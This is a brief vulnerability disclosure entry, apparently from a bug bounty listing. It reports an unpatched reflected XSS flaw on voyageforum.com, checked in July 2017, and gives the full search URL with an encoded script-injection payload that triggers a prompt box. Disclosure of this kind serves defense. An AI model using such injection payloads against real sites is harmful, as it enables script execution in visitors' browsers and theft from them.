voyageforum.com XSS vulnerability

Vulnerable URL: https://voyageforum.com/v.f?do=resultatsrecherchesearch=Yesoptimization=Yesstring=%3C%2Fscript%3E%22%3E%3Cscript%3Eprompt%28%27OPENBUGBOUNTY%27%29%3C%2Fscript%3E=+ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...